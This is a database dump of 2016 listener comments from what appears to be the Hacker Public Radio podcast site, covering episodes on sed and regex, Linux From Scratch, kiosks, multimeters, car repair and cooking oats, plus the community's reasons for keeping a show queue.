(1457,1959,'2016-02-04 05:38:18','Mike Ray','More great interviews','Good stuff again.\r\n\r\nI especially liked the interview with the guy from LFS.  Didn\'t quite grasp whether he himself is VI but he spoke very knowledgeably about a11y and mentioned using a Braille display so I guess he is.\r\n\r\nLFS is one of those things I keep meaning to plough through.  Especially Cross-Linux from Scratch to build a distro from the ground up for a Pi.','2017-09-09 07:41:29'),
(1458,1967,'2016-05-15 18:34:53','Windigo','','Wrote a novel for the pleasure of using the word processor? If that isn\'t the quote of a hacker, I don\'t know what is. :)','2017-09-09 07:41:29'),
(1459,1972,'2016-02-25 15:17:24','Turtle','Nice show','I enjoyed your show, FYI Icepack Linux had a release in 2015 based on kernel 3.10.66. ','2017-09-09 07:41:29'),
(1460,1972,'2016-03-03 01:35:44','m1rr0r5h4d35','Thanks','Thanks for the kind words, and the heads-up on Icepack linux! I had no idea they made a comeback.','2017-09-09 07:41:29'),
(1461,1973,'2016-02-25 07:27:18','Andreas','there is something missing...','Thanks for the upload, but the episode stops after 47 minutes. (The duration listed is around 2 hours...)','2017-09-09 07:41:29'),
(1462,1973,'2016-02-27 10:52:43','James Michael Du Pont','cut off','thanks ken for this, but the ending was quite abrupt, you have more?','2017-09-09 07:41:29'),
(1463,1973,'2016-03-22 02:09:15','Charles in NJ','Does FSF Have an Original?','This file, and one that was sent to the mailing list, is truncated.  There is an ending time stamp that goes out to 6900 seconds, but the end of file is encountered at 2703 seconds.\r\n\r\nIs this our recording?  Or was it made by an FSF \"official\" recording tech? I don\'t see enough contents here to get past 45:03.\r\n\r\nCharles in NJ','2017-09-09 07:41:29'),
(1464,1973,'2016-03-22 12:52:25','Ken Fallon','','The file is corrupt. We\'re trying to recover it.','2017-09-09 07:41:29'),
(1465,1976,'2016-03-18 08:31:19','Gan Ainm','Another great sed resource','The book \"Unix Text Processing\" by Dale Dougherty and Tim O&rsquo;Reilly (INTERNET \"UTP Revi\r\nval\" RELEASE &mdash; 2004 available at https://home.windstream.net/kollar/utp/utp-1.0.pdf) features a very illuminating description of stream editing and sed on pp. 288. ','2022-02-14 13:17:27'),
(1466,1976,'2016-03-21 22:05:08','Dave Morriss','Thanks for this','I find the book fascinating, never having done more than dabble with nroff, troff and the like. It seems a touch dated, but interesting nonetheless. I\'m not sure I\'d recommend it for a sed beginner though.\r\n\r\nI don\'t have a book recommendation to offer in return, having taught myself to use sed from manual pages and so forth. I started using sed on a DEC VAXCluster running VMS in the late 1980\'s. It had been ported to VMS from Unix and made my life much simpler, since VMS wasn\'t that good at doing this sort of editing.','2017-09-09 07:41:29'),
(1467,1976,'2016-05-26 14:07:50','Frank','','I put off listening to this until I had the time and peace to concentrate and follow along in the shownotes.\r\n\r\nAll I can say is that regex still makes my brain hurt (but, since I\'ve been fine-tuning my procmailrc file, I\'ve got something to practice on).\r\n\r\nI\'m going to listen again and then do the rest of the series, slowly and deliberately.\r\n\r\nThanks.  If the brain pain goes away, I\'ll let you know.','2017-09-09 07:41:29'),
(1468,1976,'2016-05-26 21:38:30','Dave Morriss','Good luck with regex','Hi Frank,\r\n\r\nRegular expressions are a language in their own right. It\'s not a trivial concept to get your head around. However, learning how to use them is very rewarding because they are everywhere.\r\n\r\nI used to use procmail for my mail back in the days when the university I worked at first connected to the internet and had access to TCP/IP and SMTP mail. (Prior to that we\'d used DECMail and the UK \"Coloured Book\" networking protocols). I found the regular expressions in procmailrc challenging, but gradually got the hang of them.\r\n\r\nI just posted the last episode of this series, number 5, today. I hope you make your way through them all and find them useful.','2017-09-09 07:41:29'),
(1469,1976,'2016-06-01 22:42:19','Frank','','Part of my issue with regex is, of course, that I don\'t have much need to use it, so learning it is more an intellectual pursuit.  It\'s not like I was sysadmin, for example, except of my own little home network.\r\n\r\nThat\'s why editing my procmailrc helps--it gives me a need to learn it.\r\n\r\nIf I ever understand regex, I shall proudly claim the title of \"Linux Geek.\"','2017-09-09 07:41:29'),
(1470,1976,'2016-06-03 21:15:11','Frank','LO and SED','I stumbled over this at Linux Questions.  It somehow seems germane:\r\n\r\nhttps://www.linuxquestions.org/questions/blog/hmw-748559/regex-in-libreoffice-37035/','2022-02-14 13:17:27'),
(1471,1976,'2016-06-05 17:05:20','Dave Morriss','Regex in Libre Office','As a long-term user of Libre Office, Open office before that and Star Office even before that, I love this feature and have used a lot!\r\n\r\nMy boss used to give me grief about not using Microsoft Word and adhering to the \"Corporate Standards\", but with a Unix box and later a Linux box on my desk I was *far* more productive the way I was :-)\r\n\r\nIn my experience the earlier versions of Word were not good, though regular expression capability did appear at some point. Microsoft\'s version of regex is of course different from the more standard versions found under Unix &amp; Linux. Libre Office is much more conformant with the various standards I believe.','2017-09-09 07:41:29'),
(1472,1978,'2016-02-27 07:10:11','amunizp','Wrong audio','I uploaded the short version, I have one with 7min. Will convert now to see if I have time to upload it later. ','2017-09-09 07:41:29'),
(1473,1979,'2016-03-03 18:18:23','Dave Morriss','Interesting episode','I enjoy porridge, or porage, as it\'s called here. I\'d noticed your episode in the queue a week or two back and went looking for \'pinhead oatmeal\' the Scottish name for these oats. My first try at cooking them on the stove was a mixed success, but I shall persevere.\r\n\r\nI have a slow cooker, but it\'s a large one, bought for cooking family meals, so I\'m not sure if it\'ll do a good job making a single portion. It\'s something to experiment with though.\r\n\r\nThanks for this, it was an interesting subject.\r\n','2017-09-09 07:41:29'),
(1474,1979,'2016-03-03 19:51:44','Jon Kulp','Slow-Cooker Size','Our slow cooker\'s also pretty big, I wouldn\'t want to use it to make just one serving, which is why it was critical that my wife wanted to eat this stuff too. If you\'re making an enough for two people, then the slow cooker is just barely not too big. You could make enough for two or three people and then reheat the next day but it\'s not quite as tasty that way.','2017-09-09 07:41:29'),
(1475,1979,'2016-03-03 22:28:32','Dave Morriss','The way of the oat','Strategies for me seem to be: try to perfect the stove-top method, get a smaller slow cooker, or something else.\r\n\r\nActually, my daughter has a small slow cooker. If she\'s not using it I might grab it for oaty duties during the mid-term break.\r\n\r\nMy son visited today and I was chatting with him about this subject. He found a recipe for steel-cut oats using a pressure cooker, which I have and use a lot. I might try that idea at some point.\r\n\r\nI\'m not too enthusiastic about the reheating approach, I have to admit :-)\r\n','2017-09-09 07:41:29'),
(1476,1981,'2016-03-08 08:08:08','folky','Change the name','When you repost the show that\'s been cut, please change the name of the file(s). Otherwise podcatcher as podget f.ex. wouldn\'t download it.','2017-09-09 07:41:29'),
(1477,1981,'2016-03-18 00:33:03','jezra','chicken coop?','I happen to have a chickencoop that is computer controlled. Perhaps I can help Ken with the blink stick.','2017-09-09 07:41:29'),
(1478,1983,'2016-03-10 21:45:08','aoskfla','Boop','Hey swift110. it\'s xen :D','2017-09-09 07:41:29'),
(1479,1983,'2016-03-19 20:58:56','m1rr0r5h4d35','','Great job on the shows! I might be wrong, but I think you might find that the fourth USB port is also the esata port. I have a laptop that has a weird esata/usb port and I have found that it works, but USB devices don\'t plug into it as smoothly as a standard port. You may have to fiddle with it to get it to work.','2017-09-09 07:41:29'),
(1480,1985,'2016-03-11 21:26:15','Frank','','This made me smile.','2017-09-09 07:41:29'),
(1481,1987,'2016-03-18 03:21:19','Frank','','Thanks for the tip about using aplay to trigger an audible alert.','2017-09-09 07:41:29'),
(1482,1987,'2016-04-17 19:47:13','David L. Willson','changed my life','No, literally. I\'d never heard of the pomodoro technique before this show, and this is literally changing my life for the better. TYTYTY!\r\nNow, I\'d like to try your script, but where is it?','2017-09-09 07:41:29'),
(1483,1988,'2016-03-16 20:05:33','Epicanis','Great topic, thanks!','I\'ve never gotten around to messing with Linux From Scratch, so I\'ve often wondered what it was like. Thanks for the episode!\r\n\r\n(I also think it\'s pretty funny that we\'ve ended up with two shows right next to each other about building Linux installations by hand, with the first\'s title containing the word \"scratch\" and the second\'s containing the word \"itch\", but I\'m easily amused anyway...)','2017-09-09 07:41:29'),
(1484,1989,'2016-03-17 16:21:44','b-yeezi','Brilliant show','Absolutely brilliant show. I would have probably chosen a minimal Debian install, but your solution takes up a lot less space. You have convinced me that Arch Linux makes the most sense for this type is set up. I will propose this solution the first chance I get. \r\n\r\nPlease make more.','2017-09-09 07:41:29'),
(1485,1989,'2016-03-18 11:21:17','Jonathan Kulp','Nice kiosk idea','Very entertaining! Love the production value, especially the espeak bot coming to get you. This is something I may actually try at some point because we could use a kiosk type thing running videos when we go out recruiting.','2017-09-09 07:41:29'),
(1486,1989,'2016-03-21 18:16:43','Epicanis','Thanks, all!','This is the first tme I\'ve tried to do a \"tutorial\" sort of episode, sounds like I did okay!\r\n\r\nAnyone have an opinion on whether this was too low-level, or not low-level enough (i.e. needed less or more detailed information in the audio?)','2017-09-09 07:41:29'),
(1487,1990,'2016-04-17 19:48:34','David L. Willson','found it!','Oh, here it is! TY again!','2017-09-09 07:41:29'),
(1488,1992,'2016-03-25 19:57:45','bjorn again','thanks','great topic, and fun to hear how others do it; thanks for sharing','2017-09-09 07:41:29'),
(1489,1993,'2016-04-05 03:48:55','sigflup','ratpoison','I love ratpoison! thank you for recording this','2017-09-09 07:41:29'),
(1490,1994,'2016-03-25 17:09:50','brian','two thoughts while still listening','first thought... the \"star drive\" is called a torx, and is press fitted into the 3/8 drive socket.  second, and most important, is for the extraction of the plastic plug... when you get to the point of inserting the screw into the pilot hole, just keep going with the screw... it will bottom out and extract the plug on its own.','2017-09-09 07:41:30'),
(1491,1994,'2016-03-25 18:22:48','Jonathan Kulp','Genius','Whoa genius suggestion! Didn\'t occur to me to keep drilling the screw. That would work the same way a crankarm extraction tool works on a bike. Will definitely do that next time I\'m in that predicament. And thanks for correcting me on the Torx head. Can never remember that and it\'s not like I\'ve never used em before haha! ','2017-09-09 07:41:30'),
(1492,1996,'2016-04-18 20:47:36','Urugami','File Naming','I\'ve never heard of Dr Bunsen before, nor his file naming convention.  And yet, my hard drive and backup media are littered with files whose names look a lot like what he outlines.  I usually just use MMDDYY..descriptive name.ext, only adding .HHMM after the Date string if I know ahead of time I\'ll be keeping multiple files from that day.\r\nWhile I can\'t say that it\'s been especially useful in locating any particular file I need, it does keep things in chronological order by default, and makes it easier to find reports from a given date.\r\n\r\nAnd here I thought I was being all efficient in a unique naming scheme.  I should have know there\'s nothing new under the sun.','2017-09-09 07:41:30'),
(1493,1997,'2016-03-29 01:35:39','Mike Ray','Knockout Episode','Well done Dave.  This is a knockout episode.  Contains a lot of the more obscure stuff in sed that is really useful and hard to find examples of online.\r\n\r\nI personally like you reading out the command-line examples as I can make a mental note of what strings to search for in your show notes to refer back later.\r\n\r\nI\'ve used sed for years but it is an inexhaustible subject.\r\n\r\nLooking forward to the awk series, never having really got my head round awk :-p','2017-09-09 07:41:30'),
(1494,1997,'2016-03-29 13:20:02','Dave Morriss','Careful what you wish for!','Thanks Mike, you\'re very kind.\r\n\r\nI too have used sed for many years, but I always ignored much of the weird and wonderful stuff it\'s capable of and made do with the \'s\' command and a few others like \'d\' and \'q\', as well as line addressing. In doing this series, I\'m at last learning how to do some more sophisticated things with sed, so it\'s fun to do.\r\n\r\nEpisode 4 is finished and waiting to be posted, and episode 5 (the really deeply weird stuff) is in production. I\'m trying to explain some of the examples in the GNU sed manual in 5, but I\'ll have to understand them myself first!\r\n\r\nYes, I\'d quite like to do a series on awk, and will if I can.','2017-09-09 07:41:30'),
(1495,1998,'2016-03-30 21:12:20','Frank','','Even though it was not the focus of your podcast, I found the bit about  eastern Kentucky accents particularly interesting.  Many persons fail to appreciate the rich variety of speech patterns, that the phrase \"Southern accent\" embraces.   I\'m from eastern Virginia and my mother was from the hills of far northwestern South Carolina, and, though both accents were clearly \"southern,\" they were quite different.\r\n\r\nI remember once dropping down from the Blue Ridge Parkway somewhere in far southwestern North Carolina to head south to Atlanta and being  almost unable to understand what the clerk at the gas station was saying.   It was unlike any other variant I have heard, and I\'ve traveled extensively in the South.  It was as far from my eastern Virginia accent as a Scottish brogue.\r\n\r\nEnjoyed the podcast, too.  Even though I have no interest in brewing my own beer--my preferred tipple speaks Gaelic--it gave me a better understanding of the discussions of home-brewing that one is so likely to encounter these days.\r\n\r\nAfterthought:  My trick for spotting a fake Southern accent:  Using \"you all\" as a singular pronoun.  Everyone knows \"you all\" is plural.','2017-09-09 07:41:30'),
(1496,1998,'2016-04-07 07:23:27','Ken Fallon','Would love to hear the full recoring','I\'d love to hear the full recording. I would be of interest to hackers.','2017-09-09 07:41:30'),
(1497,1998,'2016-12-27 19:04:18','m1rr0r5h4d35','','I am thinking about making the whole thing available, but I want to do a new recording in Audacity of the original. I still have the original tape, but I need to get a new cassette player in order to play it. Hopefully, I\'ll get this done relatively soon.','2017-09-09 07:41:30'),
(1498,1999,'2016-04-01 16:58:59','Jon Kulp','More on Ardour!','Welcome and thanks for a great episode! Glad you\'ve found us. I hope you\'ll make good on what you said about recording lots of episodes for HPR. It would be timely since I\'ve have to cut way back. Anything about audio recording, editing, and post-production will be enthusiastically received.','2017-09-09 07:41:30'),
(1499,1999,'2016-04-07 06:55:49','Ken Fallon','More detail','Please go into more detail about setting everything up. Especially compatibility between Jack/ALSA/Pulse.\r\n\r\nDon\'t forget the \"how I got into\" show as well.','2017-09-09 07:41:30'),
(1500,2000,'2016-04-04 08:58:50','Mike Ray','I tried very hard...','...to resist this but, after about 72 hours here goes...\r\n\r\nOh no, Ken\'s \"Fallon off the roof\"\r\n\r\n:-)','2017-09-09 07:41:30'),
(1501,2000,'2016-04-04 21:37:00','droops','Very Good','I appreciate you recording this awesome show and for keeping this whole thing going for so long. Outstanding work everyone!','2017-09-09 07:41:30'),
(1502,2000,'2016-04-05 18:11:26','Frank','','Absolutely fascinating.\r\n\r\nwait!  I think I just saw Ken flying overhead.','2017-09-09 07:41:30'),
(1503,2000,'2016-04-07 06:54:07','Ken Fallon','Beep','Beep. Beep. Beep. Beep. Beepppppppppppppppppppppppppppppppppppppppppppppppppppppppppp. ','2017-09-09 07:41:30'),
(1504,2001,'2016-04-04 11:44:59','Jon Kulp','Not a Timing Belt','Hey guys, great show as always. \r\n\r\nRegarding the belt I changed on my truck, it is not a timing belt but a serpentine belt (or sometimes called a drive belt). The timing belt is different, a much more involved job that usually also means replacing the water pump. Cost something like $1000 when I had my mechanic do it on our old mini van. Would definitely not try that myself. \r\n\r\nGlad to hear that Ken survived toppling off his roof in the gale force winds. ','2017-09-09 07:41:30'),
(1505,2002,'2016-04-07 06:50:43','Ken Fallon','I\'m so jealous','I\'ve been looking for one since they came out and they are all sold out. I checked the dimensions and they seem to fit into a smint tin. No idea what I\'d use it for but that\'s not the point.','2017-09-09 07:41:30'),
(1506,2003,'2016-04-07 06:52:58','Ken Fallon','Installing this now','I want to monitor a FTP location and once new XML files are there, it triggers a parser to extract data and put it into a database. Which can then be queried over the web. Basically turning a file based interface into a web enabled one.\r\n\r\nGreat tip. Thanks.','2017-09-09 07:41:30'),
(1507,2004,'2016-04-07 16:32:01','Ken Fallon','daisy chain','Great ep. Looks like its not for sale any more. Anyway I was wondering why you would daisy chain two meters','2017-09-09 07:41:30'),
(1508,2004,'2016-04-07 21:35:37','NYbill','Americanism\'s?','I\'m not sure where we got the term. It might be an \"Americanism\". ;)  I\'m just guessing here... But, Hippy\'s in the 60\'s would make necklace&rsquo;s out of daisy\'s, tying the stems in loops.  I think the term made it into the lexicon as to \'chain together\', \'Link up one after another\'. \r\n\r\nIn electronics terms it just means \"in series\". \r\n\r\nUntil you just asked, I never really thought about it.','2017-09-09 07:41:30'),
(1509,2004,'2016-04-07 23:12:31','Dave Morriss','Not an Americanism to my knowledge','\"Daisy chain\" is used in the UK too. I\'ve made them (from the real daisies) as a kid, some time before the Hippy era. You split the stem with a finger nail part way along such that it makes a loop, and stick the head of the next daisy through it. I had a fairly rural upbringing!\r\n\r\nLooking on eBay, I can see one of these meters for $61 (around &pound;43) from Hong Kong. I bought a UNI-T on eBay from China after hearing your earlier shows, and am very happy with it. It was around &pound;30.','2017-09-09 07:41:30'),
(1510,2004,'2016-04-08 07:53:35','Ken Fallon','Why not what','Why would you daisy chain two meters together. What is the use case to do that ?\r\n\r\nRemember some of us are beginners and so you need to explain the \"obvious\" points.','2017-09-09 07:41:30'),
(1511,2004,'2016-04-08 10:22:30','NYbill','','Yea, IMO the UNI-T is a better meter for the price, Dave. You have a good one there. \r\n\r\nAfter sending my last post I do recall hearing \"daisy chain\" in a Pink Floyd song. I know the term is out there on both sides of the pond (referring to a chain of flowers). Ken might have been asking why I would use that term when referring to two electric devices. Its just another term meaning \'in series\'.  One hooked together after another. \r\n\r\nKen, you could have one meter reading current (amps) and a second meter reading the voltage. Or one reading volts, and a second reading Freq/Htz, etc...\r\n\r\nOr, if you\'re some nutter who happens to own like 6 meters. You do it just because you can! *maniacal laughter*','2017-09-09 07:41:30'),
(1512,2005,'2016-04-10 22:33:18','NYbill','Well done.','Nice job, man.  It makes me want to invest in a bit of equipment so I don\'t have to keep amplifying my audio in post.  ','2017-09-09 07:41:30'),
(1513,2005,'2016-04-17 12:01:52','Ken Fallon','Such Effort','Hi Geddes,\r\n\r\nI am simply blown away by the effort you are taking with these shows. Thanks you so much for putting in all this effort.\r\n\r\nKen.','2017-09-09 07:41:30'),
(1514,2006,'2016-04-17 12:03:04','Ken Fallon','Great Addition','Hi Nacho Jordi,\r\n\r\nGreat explanation. I hope this is the beginning of a series :)\r\n\r\nKen.','2017-09-09 07:41:30'),
(1515,2007,'2016-04-17 12:09:15','Ken Fallon','Suspect','Strange that the person holding first ticket went mysteriously missing.\r\n\r\nVery curious indeed. \r\n\r\nKen.','2017-09-09 07:41:30'),
(1516,2007,'2016-04-18 19:29:34','Dave Morriss','I dunno what you\'re talking about','You can\'t prove anything, I left no trace...','2017-09-09 07:41:30'),
(1517,2007,'2016-04-27 01:11:41','Alpha32','Interesting show','Another great show, Mr Morriss. How is the entroware\'s hardware compatibility with other distros? \r\n','2017-09-09 07:41:30'),
(1518,2007,'2016-05-02 12:27:35','Dave Morriss','Thanks','Hi Alpha32,\r\n\r\nGlad you enjoyed the episode.\r\n\r\nI have to admit that I have not yet tried anything else on the laptop. I was waiting to see what Ubuntu 16.04 looks like, but I will try out some live versions of some other distributions very soon.','2017-09-09 07:41:30'),
(1519,2008,'2016-04-14 06:42:13','0xf10e','But Ken, ','&hellip;I can listen to HPR and prepare my lunch at the same time, but I can\'t record a show and cook at the same time :(','2017-09-09 07:41:30'),
(1520,2008,'2016-04-14 17:46:13','Jonathan Kulp','sure you can!','Why not? I have recorded shows while walking to work, while riding my bike to work, while fixing the car, while driving in the car. Surely you could record a show while you cooked. All you have to do is clip the $2 microphone to your lapel, plug it into your phone, put the phone in your back pocket, hit record, and start talking while you cook. Easy!','2017-09-09 07:41:30'),
(1521,2008,'2016-04-17 12:10:36','Ken Fallon','Thanks','Thanks to everyone that submitted shows. But we still have hundreds of free slots to fill. Keep the shows coming and keep sending out the message that we need contributors.','2017-09-09 07:41:30'),
(1522,2008,'2016-05-01 23:19:22','Frank','I don\'t quite get it','I never understood this issue: Why will HPR \"die\" if there are no more shows in the queue? What is the problem with a day without a show? Will the server crash with a Nullpointer exception? You said HPR has been broadcasting for more than 10!&frac12; years. In that case we would be at show #3780-something now.\r\n\r\nGreetings from spring-y Europe','2017-09-09 07:41:30'),
(1523,2008,'2016-05-02 17:52:58','Ken Fallon','Because it was','Hi Frank,\r\n\r\nBack in the day, we were as relaxed in releasing shows as you suggest. It was fine for a while but then after a time, the shows were not been released as often. This is why there are only 2308 shows rather than the 3780 shows you say there should be. Around October 2010 there were a few months with very little activity, and people were saying that HPR had podfaded. \r\n\r\nI suggested we should either end HPR or continue it.\r\nhttps://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/2010-September/007639.html\r\nThis was prompted by a lostnbronx show \"hpr0560 :: Old soldiers\", which was an essay about how to gracefully end a podcast. \r\nhttps://hackerpublicradio.org/eps.php?id=0560\r\n\r\nFollowing discussions the promise was made that we would continue as a community podcast. So that when the community decides it\'s time to finish the project, we play all the shows we have and close it down with grace and dignity.\r\n\r\nThis is why we have the text on each and every podcast. \"We are a Community podcast network that releases shows every weekday Monday through Friday. Today\'s show, like all our shows, was contributed by a HPR listener like yourself.\" \r\nhttps://hackerpublicradio.org/theme.php\r\n\r\nSo no shows - no HPR. Why drag it out.\r\n\r\nKen.\r\n\r\n\r\n','2022-02-14 13:17:27'),
(1524,2009,'2016-04-22 14:32:22','Ken Fallon','Great show','A great show. Can you send in a screen shot of the finished product please.\r\n\r\nAlso a general introduction/series on Screen and tmux etc would be great.\r\n\r\nThanks for this.\r\n\r\nKen.','2017-09-09 07:41:30'),
(1525,2009,'2016-05-03 19:44:54','Eric Suess','Thank you.','This was an excellent show!\r\n\r\nI have been looking (or just not aware that I should have been) for something like screen. \r\n\r\nI really like this.  Thank you.','2017-09-09 07:41:30'),
(1526,2010,'2016-04-15 02:44:45','Zen_Floater2','squirrel','Glad to hear you didn\'t just pass away or go back to urban camping.  \r\nFrankly, I I\'m surprised Plasma 5 is still not ready yet for Slackware, or anybody.\r\nBut that\'s really no reason to go hide in a cave young man.\r\n','2017-09-09 07:41:30'),
(1527,2010,'2016-04-22 14:33:35','Ken Fallon','Don\'t like xpath !','What - You don\'t like XPath !\r\n\r\nWhy if only someone recorded a show about that.\r\n\r\n/me digs his own hole on this one.\r\n\r\nKen.','2017-09-09 07:41:30'),
(1528,2010,'2016-05-24 13:23:54','rstackhouse','','JSON\'s rise in popularity was due to its utility as a data transfer format in heavy client web applications. XML is very verbose in comparison with JSON. Back when JavaScript interpreters were slower, this bloat was a big deal. XML just takes longer to parse, and in an environment where type coercion is the norm, a lot of type information, in the form of XSD, just doesn\'t make sense. When you own both ends of a communication pipeline, a strict contract, isn\'t really necessary.','2017-09-09 07:41:30'),
(1529,2011,'2016-04-18 16:53:55','b-yeezi','Wow','For a data analyst like myself, the applications of the items covered in this episode are amazing.  May start to use sed to analyze and manipulate gene sequences.','2017-09-09 07:41:30'),
(1530,2011,'2016-04-19 09:01:27','Dave Morriss','Thanks','Glad you found it useful.\r\n\r\nI started using sed (and  later awk), at the university I worked at in the 1980\'s/90\'s, to process student record snapshots for loading into our home-brew identity management system. They were great for data validation (e.g. \"why is this guy\'s date of birth last week?\"). ','2017-09-09 07:41:30'),
(1531,2011,'2016-04-22 14:29:45','Ken Fallon','Nice one','Hi Dave,\r\n\r\nAnother great episode. \r\n\r\nI completely missed the .$$ thing before although I have seen it before.\r\n\r\nKen.','2017-09-09 07:41:30'),
(1532,2012,'2016-04-22 14:49:09','Ken Fallon','Normal Parsers','Hi klaatu,\r\n\r\nCan you (do a introduction series on python and then) talk about the \"normal\' xml methods as well please.\r\n\r\nKen.','2017-09-09 07:41:30'),
(1533,2013,'2016-04-20 02:33:41','sigflup','cool','cool beans. thank you for making this','2017-09-09 07:41:30'),
(1534,2013,'2016-04-22 14:50:36','Ken Fallon','large complex files ','Hi klaatu,\r\n\r\nHave you compared the parsing times and performance when loading large and complex xml documents ?\r\n\r\nKen.','2017-09-09 07:41:30'),
(1535,2013,'2016-06-28 13:26:21','Luiz Rodrigo','THANKS!','Ow ! thanks for this article , is very helpful for me .','2017-09-09 07:41:30'),
(1536,2014,'2016-04-21 09:09:36','Mike Ray','Great Show','Great second part to this.  I love all the plasticky sounds and clicks of taking the thing apart and looking inside, putting it back together etc.\r\n\r\nI can really imagine the workbench strewn with test-probes and other electronic hackery detritis :-)','2017-09-09 07:41:30'),
(1537,2014,'2016-04-21 19:04:22','NYbill','Its a brand new bench! ','About 4 months ago my wife decided she no longer wanted a 4x6\' glass top desk that was in our spare room. So, I grabbed it. The glass top would be good for hot work. Soldering, hot air, etc... \r\n\r\nI set all my gear up on it and made a nice, clean, dedicated space in the computer room for electronics work.\r\n\r\nAnd... then I used it. It hasn\'t been clean since.  :P\r\n\r\nYes, I confess, the bench/desk is how you describe it. Strewn with test gear, parts, and tools. Always with multiple projects going on at once. \r\n\r\nBut, that is how it should be! ;)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n','2017-09-09 07:41:30'),
(1538,2014,'2016-04-25 19:47:56','Ken Fallon','Logging in android','Hi NYbill,\r\n\r\nDid I miss it or was it possible to log values over time in the app ?\r\n\r\nKen','2017-09-09 07:41:30'),
(1539,2015,'2016-04-24 20:26:22','jan','','this should be positive to quite a few people! thx for sharing','2017-09-09 07:41:30'),
(1540,2015,'2016-04-25 19:45:40','Ken Fallon','Great episode','Hi Joe,\r\n\r\nGreat episode the content will hit the mark regardless of anyone\'s beliefs.\r\n\r\nI am not familiar with your Church, so please feel free to record a episode on your Churches history, and what it stands for. I have no doubt that would be of interest to hackers.\r\n\r\nNaturally there may be people who do and do not share your views, but I\'m sure it would all get a better understanding.\r\n\r\nNaturally this invitation is open to all.  \r\n\r\nReverend Ken pastor of the Church of send in more shows :)\r\n\r\n','2017-09-09 07:41:30'),
(1541,2015,'2016-05-11 22:46:23','Todd','Great show!','I really enjoyed hearing how your church uses Linux and open source software. Our church used to use Linux in the sound booth,  but we too started to use PRO Presenter so we had to switch to windows. We do still use Audacity to record sermons. ','2017-09-09 07:41:30'),
(1542,2016,'2016-04-25 19:52:21','Ken Fallon','Thank you Thank you Thank you Thank you ','I would have gotten lost at the first hurdle.\r\n\r\nAlthough you may not be able to determine if the the music was the HPR theme or not, could you determine if there was music in a section at all ?\r\n\r\nSay if we cut the first 3 minutes from the front and end of a episode, could it check if there was music in there ?\r\n\r\nThanks,\r\n\r\nKen.','2017-09-09 07:41:30'),
(1543,2016,'2016-05-23 16:36:49','laindir','Late','Quite behind on my listening, so I didn\'t even think to check for comments until I caught the community news show just now (just caught up to my episode last night). Frankly, I\'m way over my head. My very limited understanding of the fingerprint is that it\'s just a timestamped list of transitions between sounds. I don\'t know nearly enough about signal processing generally, nor about how Echoprint encodes those transitions specifically, to even speculate how one would begin to distinguish between music and speech.','2017-09-09 07:41:30'),
(1544,2019,'2016-04-23 19:36:00','Matt (g33kdad)','Some photos','The following link includes a photo of the RPi in the bookshelf with the stereo as well as a screenshot of the Rune Audio app running on my Android phone.\r\n\r\nCheers,\r\nMatt\r\n\r\nhttps://cloud.thestrangeland.net/index.php/s/CdbU1povrcproZQ','2017-09-09 07:41:30'),
(1545,2019,'2016-04-30 11:57:11','Jonathan Kulp','Muttonchop too','Thanks I really enjoyed this episode. I actually do something similar with one of my Raspberry Pis but I use Jezra\'s muttonchop audio server (https://www.jezra.net/projects/muttonchop) and control the audio either from my phone, tablet, or laptop. Mutton-chop has a web interface so you just need a browser on your remote device to control everything. I hook the Pi into a 1972 Marantz receiver. Like you, I found that I needed to get a USB audio interface b/c onboard audio was awful. I got a little dongle off of Amazon for about 8 or $10 and it sounds tremendous. Incidentally one of my favorite streaming stations is JazzStream: Capitol Public Radio (Sacramento)','2022-02-14 13:17:28'),
(1546,2019,'2016-05-08 04:00:41','Matt (g33kdad)','Thanks, John','Thanks, John! I bet the Marantz sounds great! My dad had one when I was a kid.\r\n\r\nMatt','2017-09-09 07:41:31'),
(1547,2020,'2016-04-30 21:27:33','Frank','','Fascinating.  Thanks for shedding light on what to most is a mystery.','2017-09-09 07:41:31'),
(1548,2020,'2016-05-01 01:18:33','Jon Kulp ','Awesome! ','I loved this episode! Please do more car repair shows, this is something I want to learn more about. Ever since getting my 04 Ranger I\'ve been trying to do all of the repairs myself. Can always use tips from a professional. Thanks for a great episode. ','2017-09-09 07:41:31'),
(1549,2020,'2016-05-02 15:06:42','JimZat','Honest Auto Mechanics','Great show and information.\r\n\r\nI have a local mechanic that I use for items which I am unable to take care of myself.  I have often felt guilty that he undercharged me for hours worked compared to \"book hours\".\r\n\r\nYour insight has relieved my guilt and made me even more confident that he a GOOD mechanic and I can feel comfortable referring friends to him.','2017-09-09 07:41:31'),
(1550,2020,'2016-05-05 14:32:26','mysterio2','','Great show, very useful info in understanding something we all have occasion to be involved with.','2017-09-09 07:41:31'),
(1551,2020,'2016-05-25 15:23:14','Todd','','Great episode','2017-09-09 07:41:31'),
(1552,2021,'2016-05-10 02:24:41','Matt (g33kdad)','Thanks!','A big thanks to John and Dave for doing the community news this month.\r\n\r\nYour \"review\" of my show (2019) gave me some good ideas for future shows. Most specifically, a show on how I use ownCloud will probably come next.\r\n\r\nI love HPR! Thanks to all the hosts and admins','2017-09-09 07:41:31'),
(1553,2021,'2016-05-11 12:27:13','Dave Morriss','Great!','Glad the show was useful. If the result of what we do is more shows in the queue then it all seems worthwhile :-)','2017-09-09 07:41:31'),
(1554,2022,'2016-05-03 22:32:28','Jon Kulp','What\'s in your cab?','Excellent show! Thanks so much for the taking the time to record and also to put together such detailed notes. A couple of follow-up topics occur to me: 1. \"what\'s in my cab.\" Always interesting to hear the kind of things people consider \"must have\" when they have to live in small spaces for a long period of time. 2. how to back up an 18 wheeler to a loading area. I\'ve always been amazed at how professional truck drivers can back those giant things into the most awkward places. Much respect!','2017-09-09 07:41:31'),
(1555,2022,'2016-05-04 14:57:58','JWP','Great Podcast','Hey I really liked your podcast thank you for being so clear about wants in your bag.  I liked your simple approach to your items.  The Wifi whips you got to do a show about that stuff for sure.  Please build on what you shared I liked the recorder part a lot as drive a lot to.','2017-09-09 07:41:31'),
(1556,2022,'2016-05-08 01:22:23','Christopher M. Hobbs','Tell us about truckin\'!','Hey, wonderful episode!  You had a lot of great tips about durable kit.  I\'m going to look a few of them up.\r\n\r\nWould you consider doing an episode talking about truck driving?  People see truck drivers every day and we don\'t know much about the world you\'re in!\r\n\r\nThanks for submitting a show and welcome to HPR!','2017-09-09 07:41:31'),
